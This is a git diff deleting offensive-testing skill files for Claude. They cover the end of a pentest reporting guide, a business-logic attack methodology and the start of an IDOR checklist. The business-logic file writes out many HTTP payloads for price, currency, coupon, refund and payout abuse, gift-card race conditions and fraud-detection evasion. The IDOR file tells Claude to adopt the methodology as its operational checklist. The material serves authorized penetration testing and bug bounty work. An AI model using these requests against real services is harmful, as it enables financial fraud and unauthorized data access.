-### Reproduction Steps
-1. Numbered, copy-paste ready.
-2. Include the exact request/response, redacted.
-3. A reader with no engagement context should reproduce in <15 minutes.
-
-### Evidence
-- `screenshots/finding-007/01-payload.png`
-- `requests/finding-007/initial-poc.http`
-- `evidence-log.csv` line 142 (timestamp 2025-04-12 14:33:07Z)
-
-### Impact
-Concrete. Quantified where possible.
-- "Read access to the entire customer table (~2.3M records)"
-- "Authenticate as any user; verified for sample ID 1, 2, 999, 1000000"
-- "Cross-tenant access — verified by reading data from acquired-tenant ABC"
-
-### Remediation
-Specific, actionable, ordered by precedence:
-1. **Fix the bug** — exact code change or config flag
-2. **Defense in depth** — secondary control (WAF rule, input validation)
-3. **Detection** — log line / SIEM rule that would have caught the exploit
-
-### References
-- CWE / OWASP / CAPEC
-- Vendor advisory if known CVE
-- Blog posts only if directly relevant
-
-### Notes for Retest
-What you'd do to verify the fix. Specific request, specific expected response.
-```
-
----
-
-## Severity Scoring
-
-### CVSS v3.1 Discipline
-
-CVSS is a tool, not a verdict. Score it, then sanity-check against business impact.
-
-```
-CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical
-```
-
-For every metric, justify the choice in one sentence:
-- `AV:N` — exposed to internet (port 443)
-- `AC:L` — no special preconditions
-- `PR:N` — no authentication needed
-- `UI:N` — no user interaction
-- `S:U` — does not cross security scope
-- `C:H` `I:H` `A:H` — full read/write/availability impact on the database
-
-If two reasonable people would score it differently, document why you chose what you chose.
-
-### When CVSS Lies
-
-CVSS doesn't capture business context. A "Medium" CVSS XSS in the customer support chat panel that authenticated agents use to handle PII is more dangerous than an unauthenticated "High" SSRF on a metadata-less internal service. Use CVSS as the floor, not the ceiling.
-
-In those cases, score CVSS honestly and then **add a "Business Impact Adjustment"** paragraph that argues for higher reporting severity. Don't lie with CVSS.
-
-### CVSS v4.0 (where required)
-
-CVSS v4.0 adds environmental and threat metrics that better capture real-world risk. Use it when the client mandates it (PCI DSS 4.0 trends this way) — otherwise v3.1 stays the lingua franca.
-
-### OWASP Risk Rating (alternative)
-
-For web-app-only engagements where CVSS feels stretched, OWASP's risk rating (likelihood × impact across multiple factors) often communicates better.
-
----
-
-## Evidence Discipline
-
-### What to Capture
-
-For every finding, every action:
-
-1. **Timestamp** (UTC, ISO 8601)
-2. **Source IP** (yours, including any pivot)
-3. **Target** (host, URL, RPC interface)
-4. **Action** (what request was sent)
-5. **Result** (response, what you got)
-6. **Hash** of any data extracted (so you can prove what you saw)
-
-```csv
-timestamp,operator,src_ip,target,action,result_hash,notes
-2025-04-12T14:33:07Z,KA,10.10.10.5,app.client.com,SQLi probe ' OR 1=1--,sha256:abc...,initial detection
-```
-
-This is the audit trail. Clients with mature security teams will ask for it.
-
-### Redaction Rules
-
-Before any artifact leaves your secure environment:
-
-- **Replace credentials** with placeholders: `<REDACTED-PASSWORD>`, `<TOKEN-A1>`
-- **Hash extracted PII** — never include real names, emails, SSNs in screenshots
-- **Crop screenshots** to the relevant area; check for browser tab leaks (other tabs visible)
-- **Strip EXIF** from images; auto-redact via `exiftool -all= *.png`
-- **Remove debug toolbars** from screenshots that reveal client infrastructure paths
-- **Verify URLs in screenshots** don't include session tokens
-
-### Storage & Chain of Custody
-
-- Encrypted volume during the engagement (LUKS, FileVault, BitLocker)
-- Per-engagement key, not a master operator key
-- Wipe to client-spec at end of engagement (typically 30–90 days post-delivery)
-- Retain only the report and a hash manifest of evidence, deletable on request
-
----
-
-## Scope, Limitations, and Assumptions
-
-These three sections protect both you and the client. Be explicit.
-
-### Scope
-- IPs / domains / repos / accounts in scope, with start/end of engagement window
-- Excluded: third-party SaaS used by the client (they don't own it)
-- Out of scope by request: physical, social engineering against staff, DoS
-
-### Limitations
-- "Testing was conducted from the internet only; no internal network access provided"
-- "Source code review was not in scope"
-- "Production database mutations were avoided per ROE"
-- "No coordinated downtime — testing windows were 22:00–06:00 UTC"
-
-### Assumptions
-- "We assumed the staging environment mirrors production"
-- "We assumed the WAF in front of app.client.com is the same as production"
-- "Service accounts with admin rights were assumed pre-existing"
-
----
-
-## Risk Summary & Heatmap
-
-Show, don't tell. A visual summary every executive can read in 5 seconds:
-
-```
-Severity Count Top Example
-Critical 3 RCE via deserialization (Finding #2)
-High 7 ADCS ESC1 → Domain Admin (Finding #11)
-Medium 14 Stored XSS in customer support panel (Finding #4)
-Low 22 TLS 1.0 still enabled on api.client.com (Finding #29)
-Info 11 —
-```
-
-A simple bar chart or stoplight grid converts this to a one-glance summary. Put it on page 2 (after exec summary).
-
----
-
-## Attack Chains / Narratives
-
-Critical findings rarely matter in isolation. The chain is the story:
-
-```
-1. Phishing email → user runs HTA payload (Finding #1, Medium)
-2. Local UAC bypass via Token Manipulation (Finding #5, Low)
-3. Kerberoast service account (Finding #11, High)
-4. Crack TGS offline → service account password (Finding #11)
-5. ACL abuse: service account has WriteDacl on Domain Users (Finding #14, High)
-6. Grant DCSync, dump krbtgt → Golden Ticket → Domain Admin (Finding #15, Critical)
-
-Total time: 4 hours. Detection points missed: 3 (see Appendix B).
-```
-
-Highlight chains separately because the *combination* often warrants higher severity than any individual finding.
-
----
-
-## Strategic Recommendations
-
-Below the per-finding remediations, write 3–5 programmatic recommendations:
-
-- "Adopt SAST in CI for Java services" (addresses 12 findings)
-- "Roll out tier-0 admin model for AD" (addresses entire AD attack chain)
-- "Centralize secrets in HashiCorp Vault; rotate hardcoded creds" (addresses 9 findings)
-
-This is what the CISO presents to the board. Make it memorable.
-
----
-
-## Deliverable Formats
-
-| Format | Use |
-|--------|-----|
-| **PDF** | Executive read, formal record, contractual deliverable |
-| **DOCX** | If the client wants to redact or extend |
-| **HTML** | Internal portal upload, searchable via grep |
-| **JSON** | SIEM / GRC tool ingestion (DefectDojo, Faraday, ServiceNow) |
-| **CSV** | Quick import into Jira / Asana for tracking |
-| **Markdown source** | The single source of truth that generates all the above |
-
-Build all formats from one Markdown source via Pandoc / a static site generator. Never maintain parallel formats by hand.
-
-```bash
-# Markdown → polished PDF via Pandoc + LaTeX template
-pandoc report.md -o report.pdf \
- --template=client-template.tex \
- --pdf-engine=xelatex \
- --metadata=title:"Penetration Test Report — Client Co." \
- --toc --number-sections
-```
-
----
-
-## Common Report Mistakes
-
-| Mistake | Fix |
-|---------|-----|
-| CVSS 9.0 on every finding ("over-CVSSing") | Score honestly; clients lose trust if everything is critical |
-| Marketing language ("revolutionary attack") | Plain professional tone |
-| Tool output dumped as evidence | Curate; show the relevant 5 lines |
-| Generic remediation ("validate input") | Specific code/config changes |
-| Missing reproduction steps | If they can't reproduce, they can't fix |
-| Untimed evidence | Every action gets a UTC timestamp |
-| Confusing identical findings | Group by class, list affected items in a table |
-| Forgotten retest plan | Each finding includes how you'll verify the fix |
-| Failure to separate scope from limitations | Scope = what we tested; Limitations = what blocked us |
-| Treating informational findings as filler | Either drop them or write them well |
-
----
-
-## Reporting for Bug Bounty (Different Audience)
-
-Bug bounty triagers are time-pressured and skeptical. Adjust:
-
-- **Title**: include the bug class + endpoint + impact in 80 chars
-- **Reproduction**: a single curl command if possible, plus the expected vs actual response
-- **Impact**: anchor to the program's threat model (read PII? auth bypass? cross-account?)
-- **Avoid**: walls of text, screenshots without a request log, claims without reproduction
-
-A good bounty report is read in 2 minutes and reproduced in 5. A bad one bounces with "more info."
-
----
-
-## Retest & Closeout
-
-```markdown
-### Retest Summary
-
-| Finding | Original Severity | Retest Status | Verification Date |
-|---------|-------------------|---------------|-------------------|
-| #1 | Critical | ✓ Fixed (verified) | 2025-05-10 |
-| #2 | High | ✓ Fixed | 2025-05-10 |
-| #5 | Medium | ⚠ Partially fixed — see notes | 2025-05-10 |
-| #11 | High | ✗ Not fixed — finding stands | 2025-05-10 |
-| #14 | Low | • Accepted Risk (client decision) | 2025-05-10 |
-```
-
-For each finding, include the exact verification request/response showing the fix. Without proof, "fixed" is hearsay.
-
----
-
-## Sample CVSS Vectors (Reference)
-
-| Class | Typical Vector | Score |
-|-------|---------------|-------|
-| Unauth RCE | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | 9.8 |
-| Authed RCE | `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | 8.8 |
-| Stored XSS | `AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` | 5.4 |
-| IDOR (PII read) | `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` | 6.5 |
-| SSRF (cloud meta) | `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N` | 9.0 |
-| Open Redirect | `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N` | 4.3 |
-
-Use these as starting points; adjust per environment.
-
----
-
-## Tooling
-
-| Tool | Use |
-|------|-----|
-| Pandoc + LaTeX | Markdown → polished PDF |
-| Sphinx / mkdocs | Markdown → HTML portal |
-| DefectDojo | Finding tracking, JSON export |
-| Faraday | Multi-engagement aggregation |
-| Dradis | Collaborative report drafting |
-| serpico (legacy but still used) | Pentest report templates |
-| Plextrac | Commercial reporting platform |
-
----
-
-## Key References
-
-- NIST SP 800-115 (technical security testing reporting)
-- PTES — Penetration Testing Execution Standard, reporting section
-- OWASP Testing Guide — reporting chapter
-- FIRST CVSS v3.1 / v4.0 specifications
-- CREST Cyber Security Incident Response and Penetration Testing reporting standards
-- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/reporting.md
diff --git a/.claude/skills/claude-red/web/offensive-business-logic/SKILL.md b/.claude/skills/claude-red/web/offensive-business-logic/SKILL.md
deleted file mode 100644
index 0a0604a..0000000
--- a/.claude/skills/claude-red/web/offensive-business-logic/SKILL.md
+++ /dev/null
@@ -1,398 +0,0 @@
----
-name: offensive-business-logic
-description: "Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact."
----
-
-# Business Logic — Offensive Testing Methodology
-
-Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
-
-## Quick Workflow
-
-1. Map every multi-step flow as a state machine (states + allowed transitions + side effects)
-2. For each transition, ask: who can call it, in what state, with what inputs, how many times
-3. Probe each axis (state, identity, input, frequency) for assumptions
-4. Combine flaws — single-axis flaws are usually low severity; chains are critical
-5. Quantify financial impact per finding (loss-per-attack × scale)
-
----
-
-## Reconnaissance — Mapping the Logic
-
-### Build the State Machine
-
-For each user flow, draw:
-- **States**: cart, pending payment, paid, shipped, refunded, cancelled
-- **Transitions**: which API/UI action, which role, which preconditions
-- **Side effects**: balance change, inventory change, email, webhook
-
-Look for transitions that:
-- Skip intermediate states (`cart` → `shipped` without `paid`)
-- Are reversible when they shouldn't be (`shipped` → `cart`)
-- Trigger side effects more than once
-- Allow cross-role invocation
-
-### Hidden / Internal Endpoints
-
-```bash
-# Compare authenticated and unauthenticated JS bundles for buried admin routes
-diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
-
-# Look for flag/feature toggles that change UI but not server-side enforcement
-grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
-
-# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
-curl https://app/api/openapi.json | jq '.paths | keys'
-```
-
----
-
-## Workflow / State-Machine Bypass
-
-### Skip a Required Step
-
-```http
-# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
-# Try jumping directly:
-GET /dashboard
-GET /api/account/details
-POST /api/payout-settings
-```
-
-```http
-# Checkout flow: /cart → /address → /shipping → /payment → /confirm
-# Skip /payment by replaying /confirm with a previous order's payment-token reference:
-POST /api/order/confirm
-{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
-```
-
-### Replay a One-Time Action
-
-```http
-# Refund endpoint without idempotency
-POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
-POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
-```
-
-### State Downgrade
-
-Move a finalized object back to an editable state where mutations have effect:
-
-```http
-PUT /api/order/123
-{ "status": "draft" } # If accepted, you can now edit the price field
-PUT /api/order/123
-{ "items": [{ "id": "tv", "price": 1 }] }
-```
-
-### Direct Endpoint Invocation
-
-Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
-
-```bash
-# Enumerate verbs on every discovered path
-for path in $(cat paths.txt); do
- for v in GET POST PUT PATCH DELETE OPTIONS; do
- code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
- echo "$v $path $code"
- done
-done | grep -v -E ' (401|403|404) '
-```
-
----
-
-## Price / Quantity / Currency Manipulation
-
-### Negative / Zero / Float Quantities
-
-```http
-POST /api/cart/add
-{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
-{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
-{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
-```
-
-### Hidden Price Fields
-
-```http
-POST /api/checkout
-{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
-```
-
-If the server trusts client-supplied `price`, you set the price. Test every numeric field — `price`, `total`, `discount`, `tax`, `shipping`, `subtotal`, `currency`.
-
-### Currency Confusion
-
-```http
-POST /api/checkout
-{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
-{ "amount": 100, "currency": "VND" } # Even better
-{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
-```
-
-Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
-
-### Coupon / Discount Logic
-
-```http
-# Apply same coupon multiple times
-POST /api/cart/coupon { "code": "SAVE50" }
-POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
-POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
-POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
-
-# Coupon for a different product
-POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
-
-# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
-POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
-
-# Expired coupon: change date in payload?
-POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
-```
-
-### Cart Tampering
-
-```http
-# Add a cheap item, edit the SKU server-side
-POST /api/cart/add { "sku": "pen", "qty": 1 }
-PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
-```
-
----
-
-## Refund / Chargeback / Payout Abuse
-
-### Refund More Than You Paid
-
-```http
-POST /api/orders/123/refund { "amount": 99999 }
-```
-
-### Refund After Returning Less
-
-Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per *order*, free items.
-
-### Convert Refund to Different Method
-
-```http
-POST /api/orders/123/refund { "method": "store-credit" }
-# vs original card payment → store credit can be transferred / sold
-```
-
-### Payout Account Race
-
-```http
-PUT /api/payout-account { "iban": "ATTACKER" }
-POST /api/withdraw { "amount": 1000 }
-PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
-```
-
----
-
-## Identity / Tenant / Role Boundary
-
-### Role Confusion via Multipart / Parameter Pollution
-
-```http
-POST /api/users/me
-role=user&role=admin # Last-wins parser → admin
-{"role": "user", "role": "admin"} # JSON last-wins
-```
-
-### Tenant ID Substitution in Hidden Field
-
-```http
-POST /api/invoices
-{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
-# Charges victim-corp for attacker's order
-```
-
-### Mass Assignment / Field Whitelist
-
-```http
-PUT /api/users/me
-{ "email": "[email protected]", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
-```
-
-Test every field that exists on the model, not just those the form exposes.
-
-### Indirect Privilege via Object Linking
-
-```http
-POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
-GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
-# Sharing API meant for collaborators bypasses role check on data API
-```
-
----
-
-## Race Conditions on Logic Boundaries
-
-Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: `offensive-toctou`, `offensive-race-condition`.)
-
-### Single-Packet Multi-Request
-
-```python
-# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
-# all requests' last frames sent in one TCP segment. Server processes them concurrently.
-```
-
-### Common Logic Races
-
-| Flow | Race |
-|------|------|
-| Coupon redemption | N parallel `apply-coupon` calls each see "unused" |
-| 2FA verification | Submit code N times in parallel before lockout counter increments |
-| Withdrawal | Parallel withdraws each see full balance |
-| Vote / Like / Reaction | "One per user" check raced |
-| Invitation acceptance | Multiple accepts → multiple seats granted |
-| Free-trial signup | Parallel signups → multiple trials per email |
-| Gift-card redeem | Parallel redeems → multi-spend a single card |
-| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
-
-### Amplification
-
-```python
-# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
-# Result: $300 credited from a $10 card
-```
-
----
-
-## Anti-Automation / Fraud Defeat
-
-### Captcha / Rate Limit Bypass
-
-| Bypass | Mechanic |
-|--------|----------|
-| Token reuse | One captcha solve, replay token across many requests |
-| Endpoint mirror | `/api/v1/login` rate-limited, `/api/v2/login` not |
-| Header rotation | `X-Forwarded-For: <random>` resets per-IP counter |
-| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
-| Method/case variation | `POST /Login` vs `POST /login` keyed differently in cache |
-
-### Device Fingerprint / Velocity
-
-- New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
-- Velocity counters (5 logins/hour) often per `(userid, ip)` not per `userid`.
-- Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).
-
-### Free Trial / Sign-Up Abuse
-
-```http
-# Email aliasing
[email protected], [email protected] # Dots ignored on Gmail
[email protected] # gmail/googlemail equivalence
-
-# Phone number recycling (number-portable VOIP) — identity not unique
-# Device-ID rotation (mobile testing) — wipe storage, new install
-```
-
-### Referral / Reward Loops
-
-```http
-POST /api/refer { "email": "[email protected]" } # +$5 to me when they sign up
-# Sign up the alias, receive referral
-POST /api/refer { "email": "[email protected]" } # Repeat — many sign-ups, all same person
-```
-
----
-
-## Subscription / Quota / Tier Abuse
-
-### Tier Downgrade Retains Premium Features
-
-```http
-PUT /api/subscription { "tier": "free" } # Cancel paid
-GET /api/feature/premium-export # Still works because feature flag cached?
-```
-
-### Mid-Cycle Quota Reset
-
-```http
-PUT /api/subscription { "tier": "pro" } # +1000 quota
-PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
-PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
-```
-
-### Add-On Stacking
-
-```http
-POST /api/addons { "id": "extra-storage" } # +10GB
-POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
-POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
-```
-
----
-
-## Time-Based Logic
-
-### Time Travel via Headers
-
-```http
-POST /api/checkout
-Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
-X-Request-Time: 1577836800
-```
-
-### Promotion Window
-
-Set client-side date to inside the window, server validates `X-Promo-Time` parameter. Stale promo cache means yesterday's prices apply today.
-
-### Token / Session Expiry
-
-Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
-
----
-
-## Combining Flaws — Where the Crits Live
-
-Single-axis findings are interesting; **chains** are payouts.
-
-**Example chain (real, paid bounty):**
-1. Coupon stacking allows `100% off` × 2 → negative total
-2. Negative total → store credit issued (refund of "overpayment")
-3. Store credit transferable to gift card
-4. Gift card race condition → multiplied
-5. Gift card redeemable on partner site for cash equivalents
-
-**Chain template:**
-- Find a thing the system gives you (credit, points, slot, seat)
-- Find a way to multiply it (race, replay, stacking)
-- Find a way to convert it to value (transfer, refund, payout)
-
----
-
-## Engagement Approach
-
-```
-Day 1: Map state machines for top 3 money flows.
-Day 2: Per state, list what the UI does. Check what the API allows.
-Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
-Day 4: Race conditions on every "one-shot" action.
-Day 5: Chain the findings. Quantify financial impact per chain.
-```
-
-Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.
-
----
-
-## Reporting Hooks
-
-Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
-
-- A diagram of the intended flow vs. the achieved flow
-- A scripted PoC that runs end-to-end (no manual steps)
-- A dollar value per execution and a feasibility statement for repeating it
-- The fix at the right layer (state machine validator, not just input validation)
-
----
-
-## Key References
-
-- OWASP WSTG-BUSL — Business Logic Testing chapter
-- PortSwigger Web Security Academy: Business logic vulnerabilities track
-- MITRE ATT&CK: T1539 (Steal Web Session Cookie), T1078 (Valid Accounts) — for chained access
-- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md
diff --git a/.claude/skills/claude-red/web/offensive-idor/SKILL.md b/.claude/skills/claude-red/web/offensive-idor/SKILL.md
deleted file mode 100644
index ce95b65..0000000
--- a/.claude/skills/claude-red/web/offensive-idor/SKILL.md
+++ /dev/null
@@ -1,606 +0,0 @@
-# SKILL: Insecure Direct Object References (IDOR)
-
-## Metadata
-- **Skill Name**: idor
-- **Folder**: offensive-idor
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/idor.md
-
-## Description
-IDOR (Insecure Direct Object Reference) testing checklist: object ID enumeration, horizontal/vertical privilege escalation, GUID predictability, indirect references via hashes, chained IDOR, and API endpoint IDOR. Use for web app pentests and bug bounty IDOR discovery.
-
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`IDOR, insecure direct object reference, horizontal privilege escalation, vertical privilege escalation, object enumeration, GUID, API IDOR, mass assignment, broken access control`
-
-## Instructions for Claude
-
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
-
----
-
-## Full Methodology
-
-# Insecure Direct Object References (IDOR)
-
-## Shortcut
-
-```mermaid
-flowchart LR
- A[Create Test Accounts] --> B[Discover Features]
- B --> C[Intercept Traffic]
- C --> D[Switch IDs in Requests]
- D --> E{IDOR Found?}
- E -->|Yes| F[Document Vulnerability]
- E -->|No| G[Try Protection Bypass]
- G --> H[Monitor Information Leaks]
-```
-
-- Create two accounts for each application role and designate one as the attacker account and the other as the victim account.
-- Discover features in the application that might lead to IDOR. Pay attention to features that return sensitive information or modify user data.
-- Revisit the features you discovered in step 2. With a proxy, intercept your browser traffic while you browse through the sensitive functionalities.
-- With a proxy, intercept each sensitive request and switch out the IDs that you see in the requests. If switching out IDs grants you access to other user's information or lets you change their data, this indicates an IDOR.
-- Don't despair if the application seems to be immune to IDOR. Use this opportunity to try a protection bypass technique. If the application uses an encoded, hashed, or randomized ID, you can try decoding, or predicting the IDs. You can also try supplying the application with an ID when it does not ask for one. Finally, sometimes changing the request method type or file type makes all the difference.
-- Monitor for information leaks in export files, email, and other text alerts. An IDOR now might lead to an information leak in the future.
-
-## Mechanisms
-
-```mermaid
-flowchart TD
- A[IDOR Vulnerabilities] --> B[Missing Authorization Checks]
- A --> C[Client-Side ID Transmission]
- A --> D[Predictable Resource Identifiers]
- A --> E[Insufficient Access Control Logic]
- A --> F[Improper Session Handling]
- A --> G[Reliance on Obfuscation]
-
- B --> H[Horizontal Access Control Failures]
- C --> H
- D --> I[Vertical Access Control Failures]
- E --> I
- F --> J[Context-Dependent Access Control Failures]
- G --> J
-```
-
-Insecure Direct Object References (IDOR) occur when an application exposes a reference to an internal implementation object without sufficient access control. These vulnerabilities allow attackers to manipulate these references to access unauthorized data or perform unauthorized actions.
-
-IDOR vulnerabilities arise from flawed access control mechanisms that fail to validate whether a user should have permission to access or modify a specific resource. The core implementation issues include:
-
-- **Missing Authorization Checks**: No validation of user permissions when accessing objects
-- **Client-Side ID Transmission**: Relying on client-provided identifiers without server-side verification
-- **Predictable Resource Identifiers**: Sequential or easily guessable object references
-- **Insufficient Access Control Logic**: Authentication without proper authorization
-- **Improper Session Handling**: Not binding resources to user sessions
-- **Reliance on Obfuscation**: Using complex identifiers without actual access control
-
-IDORs manifest in various patterns:
-
-- **Horizontal Access Control Failures**: Accessing resources belonging to other users of the same privilege level
-- **Vertical Access Control Failures**: Accessing resources requiring higher privileges
-- **Context-Dependent Access Control Failures**: Access based on improper contextual states
-
-## Hunt
-
-### Identifying IDOR Vulnerabilities
-
-#### Preparation
-
-1. **Create Multiple Test Accounts**:
- - Set up accounts with different privilege levels (e.g., regular user, premium user)
- - Create multiple accounts within the same privilege level
-
-2. **Establish Baseline Behavior**:
- - Document normal resource access patterns
- - Map all application endpoints that reference objects
- - Identify resource identifiers in requests
- - Evaluate caching headers (ETag/Last-Modified) that can leak existence side‑channels during enumeration
-
-3. **Request Capture Setup**:
- - Configure a proxy (e.g., Burp Suite, OWASP ZAP)
- - For mobile applications, install the proxy’s CA certificate on the device or emulator (e.g., with mitmproxy or Burp Mobile Assistant) so HTTPS traffic can be intercepted.
- - Record all interactions with resource identifiers
- - Create an inventory of potential IDOR test targets
-
-#### Finding IDOR Vulnerabilities
-
-1. **Request Parameter Analysis**:
- - Look for identifiers in URLs, request bodies, cookies, and headers
- - Common parameter names:
- ```
- id, user_id, account_id, file, doc, document, record, item, order, number, profile,
- edit, view, filename, object, num, key, userid, uuid, group, role
- ```
- - Watch for identifiers hidden in JWT claims (`sub`, `org_id`) or signed cookies; tamper if server fails to re‑authorize.
-
-2. **Parameter Manipulation Techniques**:
- - **Direct Modification**: Change numerical IDs (e.g., `id=1` → `id=2`)
- - **Add Missing IDs**: Try adding relevant IDs (e.g., `user_id`, `account_id`) to requests that don't initially have them (e.g., `GET /api/messages` → `GET /api/messages?user_id=<victim_uuid>`). Parameter names can often be inferred from other requests or discovered using tools like Arjun.
- - **GUID/UUID Replacement**: Replace one user's GUID with another's
- - **Decode and Modify**: Decode base64/hex encoded parameters before modification
- - **Array/Object Manipulation**: Add or modify array elements in API requests
- ```json
- {"items": [{"id": 123, "owner": "victim"}]} → {"items": [{"id": 456, "owner": "attacker"}]}
- ```
- - **File Type Manipulation**: Try changing requested file types or appending extensions (e.g., `.json`, `.xml`, `.config`). Ruby applications might respond differently to `/resource/123` vs `/resource/123.json`.
- - **Wildcard Testing**: Replace IDs with wildcards (e.g., `GET /api/users/*`). Rare, but worth trying.
- - **Array-based Access**: Try wrapping IDs in arrays (e.g., `{"id":19}` → `{"id":[19]}`).
- - **JSON Object Wrapping**: Try wrapping the ID in a nested JSON object (e.g., `{"id":111}` → `{"id":{"id":111}}`).
- - **Numeric vs Non-Numeric IDs**: If the application uses non-numeric IDs (GUIDs, usernames), try substituting them with potential numeric equivalents (e.g., `account_id=UUID` → `account_id=123`).
- - **Parameter Name Replacement**: Try alternative parameter names (e.g., album_id → account_id). Fuzz JSON Patch (RFC 6902) and JSON Merge Patch (RFC 7386) bodies for cross‑user modifications.
-
-- **Multiple Value Testing**: Supply multiple values for same parameter (e.g., `id=123&id=456`, `user_id=attacker_id&user_id=victim_id`, `user_id=attacker_id[]&user_id=victim_id[]`). See HTTP Parameter Pollution under Bypass Techniques.
-- **New Feature Focus**: Pay special attention to newly added features as they may have weaker access controls; include mobile and older API versions.
-- **Cache Probing**: Use CDN cache keys and `If-None-Match` probing to infer existence without full access.
-
-3. **Endpoint Analysis Questions**:
- For each endpoint receiving an object ID, ask:
- - Does this ID reference a private or sensitive resource (vs. public)?
- - What are _my_ legitimate IDs for this type of resource?
- - What are the different user roles interacting with this API? (user, admin, manager, etc.)
-
-4. **Hidden Parameter Discovery**:
- - Analyze JavaScript client-side code for hidden parameters
- - Check mobile app API communications
- - Examine response data for additional identifiable references
-
-5. **Web Socket Discovery**:
- - Identify how websockets are being initiated
- - Check if we can manipulate it to change anything
- - Make sure to test mobile/desktop applications of the target as well
- - Inspect mobile deep links and intent filters that include object IDs; try cross‑app invocation.
-
-6. **Testing Methodology**:
- 1. Access resource as User A and capture the request
- 2. Note all identifiers (explicit and obfuscated)
- 3. Log in as User B
- 4. Replay User A's request with User B's session
- 5. Modify identifiers to access resources belonging to other users
- 6. Test both read and write operations(and all other application boundaries)
- 7. if there are mobile applications create a unique user for that platform as well and test IDOR
-
-### Advanced IDOR Testing Techniques
-
-```mermaid
-mindmap
- root((IDOR Testing))
- ::icon(fa fa-bug)
- style root fill:#f96,stroke:#333,stroke-width:2px
-
- id1(Blind Detection)
- ::icon(fa fa-eye-slash)
- style id1 fill:#bbf,stroke:#33f,stroke-width:1px
- id1.1[Comparative Response Analysis]
- style id1.1 fill:#ddf,stroke:#33f
- id1.2[Out-of-Band Detection]
- style id1.2 fill:#ddf,stroke:#33f
- id1.3[Side-Channel Analysis]
- style id1.3 fill:#ddf,stroke:#33f
-
- id2(Mass Testing)
- ::icon(fa fa-rocket)
- style id2 fill:#fbf,stroke:#939,stroke-width:1px
- id2.1[Automated Identifier Enumeration]
- style id2.1 fill:#fdf,stroke:#939
- id2.2[Parallel Testing with Burp]
- style id2.2 fill:#fdf,stroke:#939
- id2.3[Pattern Recognition]
- style id2.3 fill:#fdf,stroke:#939
-
- id3(Protection Bypass)
- ::icon(fa fa-shield)
- style id3 fill:#bfb,stroke:#393,stroke-width:1px
- id3.1[ID Obfuscation Bypass]
